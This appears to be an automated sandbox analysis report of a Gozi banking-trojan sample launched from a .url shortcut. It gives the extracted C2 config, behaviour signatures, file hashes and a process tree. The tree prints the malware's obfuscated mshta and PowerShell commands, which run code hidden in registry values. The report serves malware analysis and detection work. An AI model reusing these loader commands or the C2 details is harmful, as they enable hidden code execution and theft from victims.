Analysis

  • max time kernel
    185s
  • max time network
    197s
  • platform
    windows10-1703_x64
  • resource
    win10-20230915-en
  • resource tags

    arch:x64arch:x86image:win10-20230915-enlocale:en-usos:windows10-1703-x64system
  • submitted
    13-10-2023 01:40

General

  • Target

    url/sistema.url

  • Size

    206B

  • MD5

    8d42f868af378fdaaf0fe40c29e52bbc

  • SHA1

    1429d147f20ffed0505a47bea4a614deeda3e60c

  • SHA256

    aeea621a727c1236ef86287c0733a97346621dfc74dbba858710a258449c0619

  • SHA512

    aa296bd043daead87bdb2a2f895c8490635e87cbdacee4c11cd26e78913955a434506a449d91ddc90cb3b640e2d006fc04b18070cb5418d24080d4df842ef10a

Malware Config

Extracted

Family

gozi

Extracted

Family

gozi

Botnet

5050

C2

fotexion.com

Attributes
  • base_path

    /jerry/

  • build

    250260

  • exe_type

    loader

  • extension

    .bob

  • server_id

    50

rsa_pubkey.plain
aes.plain

Extracted

Family

gozi

Botnet

5050

C2

fotexion.com

Attributes
  • base_path

    /pictures/

  • build

    250260

  • exe_type

    worker

  • extension

    .bob

  • server_id

    50

rsa_pubkey.plain
aes.plain

Signatures

  • Gozi

    Gozi is a well-known and widely distributed banking trojan.

  • Blocklisted process makes network request 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Suspicious use of SetThreadContext 6 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 15 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 46 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious behavior: MapViewOfSection
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3232
    • C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL C:\Users\Admin\AppData\Local\Temp\url\sistema.url
      2⤵
      • Modifies registry class
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of WriteProcessMemory
      PID:2980
      • C:\Windows\System32\control.exe
        "C:\Windows\System32\control.exe" "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\DXFPCU0G\sistema[1].cpl",
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5048
        • C:\Windows\system32\rundll32.exe
          "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\DXFPCU0G\sistema[1].cpl",
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:208
          • C:\Windows\SysWOW64\rundll32.exe
            "C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\DXFPCU0G\sistema[1].cpl",
            5⤵
            • Blocklisted process makes network request
            • Loads dropped DLL
            • Suspicious use of SetThreadContext
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious behavior: MapViewOfSection
            • Suspicious use of WriteProcessMemory
            PID:196
            • C:\Windows\system32\control.exe
              C:\Windows\system32\control.exe -h
              6⤵
              • Suspicious use of SetThreadContext
              • Suspicious behavior: MapViewOfSection
              • Suspicious use of WriteProcessMemory
              PID:2920
              • C:\Windows\system32\rundll32.exe
                "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL -h
                7⤵
                  PID:4036
      • C:\Windows\System32\mshta.exe
        "C:\Windows\System32\mshta.exe" "about:<hta:application><script>Vuxk='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Vuxk).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\7AF14A9C-91D2-BC6A-EB4E-55B04F6259E4\\\MaskStop'));if(!window.flag)close()</script>"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2136
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name qnggdlql -value gp; new-alias -name qqtdpyu -value iex; qqtdpyu ([System.Text.Encoding]::ASCII.GetString((qnggdlql "HKCU:Software\AppDataLow\Software\Microsoft\7AF14A9C-91D2-BC6A-EB4E-55B04F6259E4").AboutText))
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1120
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\h24qrlng\h24qrlng.cmdline"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:3152
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES54D8.tmp" "c:\Users\Admin\AppData\Local\Temp\h24qrlng\CSCC69E8AEA4B384E9B9AA914BAAC724E89.TMP"
              5⤵
                PID:4904
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
              "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ao3wnyw4\ao3wnyw4.cmdline"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:632
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6488.tmp" "c:\Users\Admin\AppData\Local\Temp\ao3wnyw4\CSC870724895493413A9B4068D958A587C1.TMP"
                5⤵
                  PID:852
          • C:\Program Files\Windows Mail\WinMail.exe
            "C:\Program Files\Windows Mail\WinMail" OCInstallUserConfigOE
            2⤵
              PID:1476
            • C:\Windows\syswow64\cmd.exe
              "C:\Windows\syswow64\cmd.exe" /C pause dll mail, ,
              2⤵
                PID:1016
            • C:\Windows\System32\RuntimeBroker.exe
              C:\Windows\System32\RuntimeBroker.exe -Embedding
              1⤵
                PID:3804

              Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

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              Downloads

              • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\DXFPCU0G\sistema[1].cpl

                Filesize

                206KB

                MD5

                72e2a5c797954e895a41be5b20f867b2

                SHA1

                419aacfb3ccea9b08277bcc9405054fa4238a597

                SHA256

                858d867cc62c0bf13b16ccdb9f6cd6022d61fc2ab98a7db60806a35c7da9b2e0

                SHA512

                77be53cf579f69ee728fafbe93568b8d4c462490ba3fe053db367798508abb0d7a838731d17e465f0a29b982eb49e1227d94c971823e1d375b2b761887e107b3

              • C:\Users\Admin\AppData\Local\Temp\RES54D8.tmp

                Filesize

                1KB

                MD5

                3255193caa0e9ff3a9340fcd03425862

                SHA1

                b260b00b4c4ed0ebea65633671b97106fbc59529

                SHA256

                512ee31b92a5717356dc03a82079a9f3542ba51cb5ed15d6a6c0928f710bf114

                SHA512

                5b8dff95e0c8d8e9828f908a5fc57214a4a561f7dc653185c1a254031207be0a1cc54e94174bce3f20bf01aa7b9aa582483cc085dace878d297d79a146097d00

              • C:\Users\Admin\AppData\Local\Temp\RES6488.tmp

                Filesize

                1KB

                MD5

                c8d98f7c3eb9cb834048d7e5a497216c

                SHA1

                43fef480f6a37b061c3b6e5f23d7289d6c25c2a1

                SHA256

                bd1a72b563096143f7ea1de3b25a61cffbd9c199894ad2c7ebd45888fe025ffd

                SHA512

                b3eea0eaa24c09434aacc7cd70f75217429f20d69f55dd4a6b4855344d8be6521c632585c83347d5d27e9f3d02fd40d2c122267b294ba591f7ccb94081ab0256

              • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2kr4qvzm.ujx.ps1

                Filesize

                1B

                MD5

                c4ca4238a0b923820dcc509a6f75849b

                SHA1

                356a192b7913b04c54574d18c28d46e6395428ab

                SHA256

                6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

                SHA512

                4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

              • C:\Users\Admin\AppData\Local\Temp\ao3wnyw4\ao3wnyw4.dll

                Filesize

                3KB

                MD5

                26d26714ab5c2d1f9cb24a21daaf780b

                SHA1

                65ab3a8d0b9804b22945d82c6bac5ee7a329a0ed

                SHA256

                eebbfce05171c490e6573722c95714049c2abb801e0d0d70d2150aef7c1b2e76

                SHA512

                b70a6f849b9c1a84ba6012b964b7b1a23c9f7c073d6438565f4f0ceff93d605916db1232e79bb45df861fec4c1b7cc1aef0db656cde4ec442e2a362c95d951e1

              • C:\Users\Admin\AppData\Local\Temp\h24qrlng\h24qrlng.dll

                Filesize

                3KB

                MD5

                de312e7a223542388068fce99b1ff9a8

                SHA1

                569cc71c507a830e19de84a03c8340586cf94505

                SHA256

                82f1854a14221c8f4a8d993e572013bf28240785dc1bb50918030fc961628ac6

                SHA512

                baaec3e4dbd8a3cf56a5b73ac7a6ef56eecefbb28982d8b3f2c7d5c71f6cd1778d292693595aa423e0309610ca4dd9510c43b867342a787c275e4f62b2965b90

              • \??\c:\Users\Admin\AppData\Local\Temp\ao3wnyw4\CSC870724895493413A9B4068D958A587C1.TMP

                Filesize

                652B

                MD5

                4e625ebde4e951fa159e0fa8ddafe21f

                SHA1

                59072a3f60fbbe23733f0dcb9be54144a87a0e9b

                SHA256

                651226638c3e20f31bb6b34e6505807c67345bf077e9c1e8da51600d47b46577

                SHA512

                bb4d691dbb495f1e4b544055c8ec46c3564f48f0d1f886e0c02de7a2e31d18d8b39897e8cc57c05119c159117edd25bbdbaae52bb91a949a9be62a3f34be5079

              • \??\c:\Users\Admin\AppData\Local\Temp\ao3wnyw4\ao3wnyw4.0.cs

                Filesize

                406B

                MD5

                ca8887eacd573690830f71efaf282712

                SHA1

                0acd4f49fc8cf6372950792402ec3aeb68569ef8

                SHA256

                568b0c1155379c88e91f904f4e70a3608fbf664ef890309cd705a7c5eb3232c3

                SHA512

                2a538a308db6c7d09224737f549d442b4c206e8e9605a2570149243ee11bf0c5f028ebf003b383f86709d0dd976ff66d15ccb700f50969ff3da64dd39cab25c7

              • \??\c:\Users\Admin\AppData\Local\Temp\ao3wnyw4\ao3wnyw4.cmdline

                Filesize

                369B

                MD5

                559a958225f500ab1fedddf6d1366b77

                SHA1

                4e06b2ab106bafe90a0ae29d05c903a8b776ac8b

                SHA256

                30e15dae7d4905d40b00296078fb07ab38ba4630ba0db396842704c2360ffc9e

                SHA512

                11b1208c6120118b1f608f26e49372bc83bcfa61b18d9714c15eb4ecdc1b4717673165e1dd03fd8dd2f07efb39c43ff5fe6bf11998cd4bd9999fe4925eb38d1b

              • \??\c:\Users\Admin\AppData\Local\Temp\h24qrlng\CSCC69E8AEA4B384E9B9AA914BAAC724E89.TMP

                Filesize

                652B

                MD5

                88a29e86e1cbc4e797f0ed95aca276f0

                SHA1

                98aec487c7bb06a32419e6aeaacdf00d769dc4dc

                SHA256

                b254130dee92c6a3cc57b498e995b79b6017eafa30e5cec7a6a6ad3df9e5819b

                SHA512

                dddff1adc061033857529a45239430eed41969377a7fcfee86c1947c8630e61866c1688f2aafb7445f87331eaecfb7f1a6c1636efe882a8a21aeb202d5ebcb71

              • \??\c:\Users\Admin\AppData\Local\Temp\h24qrlng\h24qrlng.0.cs

                Filesize

                405B

                MD5

                caed0b2e2cebaecd1db50994e0c15272

                SHA1

                5dfac9382598e0ad2e700de4f833de155c9c65fa

                SHA256

                21210b9baafb8b03ab0ef625312973a77bb5aba856c91892b65826e8b7c3b150

                SHA512

                86dc4f8cedd37464c9c492c467375d4603715e5827dfaf7bfcfe5c46ce5e09b439139d4b0a756afa37e4c2444c5b169ac1c024217b9ba449edb183a3b53f2b62

              • \??\c:\Users\Admin\AppData\Local\Temp\h24qrlng\h24qrlng.cmdline

                Filesize

                369B

                MD5

                2f649c188aac320dba0e978b34095d8c

                SHA1

                c2a07b3e57a52d4f668a40c4fb31e078c8ad5674

                SHA256

                783aa5ea280cc16d945ce6bde2171df2686b2193e2b15905a1835800654397f2

                SHA512

                a55fc5e096f0cc1dbd5f8fe0557ac594e4f4929507356099a853a307a20ac59be699cb4ca971d9e9243f7d0b35661fe491a5b943cffb2de2580e6fb1af4aa85c

              • \Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\DXFPCU0G\sistema[1].cpl

                Filesize

                206KB

                MD5

                72e2a5c797954e895a41be5b20f867b2

                SHA1

                419aacfb3ccea9b08277bcc9405054fa4238a597

                SHA256

                858d867cc62c0bf13b16ccdb9f6cd6022d61fc2ab98a7db60806a35c7da9b2e0

                SHA512

                77be53cf579f69ee728fafbe93568b8d4c462490ba3fe053db367798508abb0d7a838731d17e465f0a29b982eb49e1227d94c971823e1d375b2b761887e107b3

              • memory/196-11-0x0000000001190000-0x000000000119E000-memory.dmp

                Filesize

                56KB

              • memory/196-91-0x0000000001190000-0x000000000119E000-memory.dmp

                Filesize

                56KB

              • memory/196-8-0x00000000012B0000-0x00000000012BD000-memory.dmp

                Filesize

                52KB

              • memory/196-7-0x0000000001190000-0x000000000119E000-memory.dmp

                Filesize

                56KB

              • memory/196-6-0x0000000000CD0000-0x0000000000CF9000-memory.dmp

                Filesize

                164KB

              • memory/1016-120-0x0000000002950000-0x00000000029E8000-memory.dmp

                Filesize

                608KB

              • memory/1016-114-0x0000000000230000-0x0000000000231000-memory.dmp

                Filesize

                4KB

              • memory/1016-113-0x0000000002950000-0x00000000029E8000-memory.dmp

                Filesize

                608KB

              • memory/1120-36-0x00007FF9F52C0000-0x00007FF9F5CAC000-memory.dmp

                Filesize

                9.9MB

              • memory/1120-38-0x000001665A1C0000-0x000001665A1D0000-memory.dmp

                Filesize

                64KB

              • memory/1120-148-0x00007FF9F52C0000-0x00007FF9F5CAC000-memory.dmp

                Filesize

                9.9MB

              • memory/1120-147-0x000001665A640000-0x000001665A67D000-memory.dmp

                Filesize

                244KB

              • memory/1120-143-0x000001665A640000-0x000001665A67D000-memory.dmp

                Filesize

                244KB

              • memory/1120-141-0x000001665A1C0000-0x000001665A1D0000-memory.dmp

                Filesize

                64KB

              • memory/1120-139-0x000001665A4A0000-0x000001665A4A8000-memory.dmp

                Filesize

                32KB

              • memory/1120-19-0x000001665A170000-0x000001665A192000-memory.dmp

                Filesize

                136KB

              • memory/1120-20-0x00007FF9F52C0000-0x00007FF9F5CAC000-memory.dmp

                Filesize

                9.9MB

              • memory/1120-21-0x000001665A1C0000-0x000001665A1D0000-memory.dmp

                Filesize

                64KB

              • memory/1120-22-0x000001665A1C0000-0x000001665A1D0000-memory.dmp

                Filesize

                64KB

              • memory/1120-25-0x000001665A4C0000-0x000001665A536000-memory.dmp

                Filesize

                472KB

              • memory/1120-125-0x000001665A480000-0x000001665A488000-memory.dmp

                Filesize

                32KB

              • memory/1120-37-0x000001665A1C0000-0x000001665A1D0000-memory.dmp

                Filesize

                64KB

              • memory/1476-96-0x000002C9072E0000-0x000002C9072E1000-memory.dmp

                Filesize

                4KB

              • memory/1476-102-0x000002C907520000-0x000002C9075C4000-memory.dmp

                Filesize

                656KB

              • memory/1476-95-0x000002C907520000-0x000002C9075C4000-memory.dmp

                Filesize

                656KB

              • memory/2920-50-0x0000000000580000-0x0000000000581000-memory.dmp

                Filesize

                4KB

              • memory/2920-88-0x00000000004D0000-0x0000000000574000-memory.dmp

                Filesize

                656KB

              • memory/2920-51-0x00000000004D0000-0x0000000000574000-memory.dmp

                Filesize

                656KB

              • memory/3232-60-0x0000000000EE0000-0x0000000000EE1000-memory.dmp

                Filesize

                4KB

              • memory/3232-89-0x0000000002C90000-0x0000000002D34000-memory.dmp

                Filesize

                656KB

              • memory/3232-59-0x0000000002C90000-0x0000000002D34000-memory.dmp

                Filesize

                656KB

              • memory/3804-73-0x0000015DB7C30000-0x0000015DB7CD4000-memory.dmp

                Filesize

                656KB

              • memory/3804-75-0x0000015DB55F0000-0x0000015DB55F1000-memory.dmp

                Filesize

                4KB

              • memory/3804-90-0x0000015DB7C30000-0x0000015DB7CD4000-memory.dmp

                Filesize

                656KB

              • memory/4036-74-0x000001ECEB9A0000-0x000001ECEBA44000-memory.dmp

                Filesize

                656KB

              • memory/4036-78-0x000001ECEB6E0000-0x000001ECEB6E1000-memory.dmp

                Filesize

                4KB

              • memory/4036-87-0x000001ECEB9A0000-0x000001ECEBA44000-memory.dmp

                Filesize

                656KB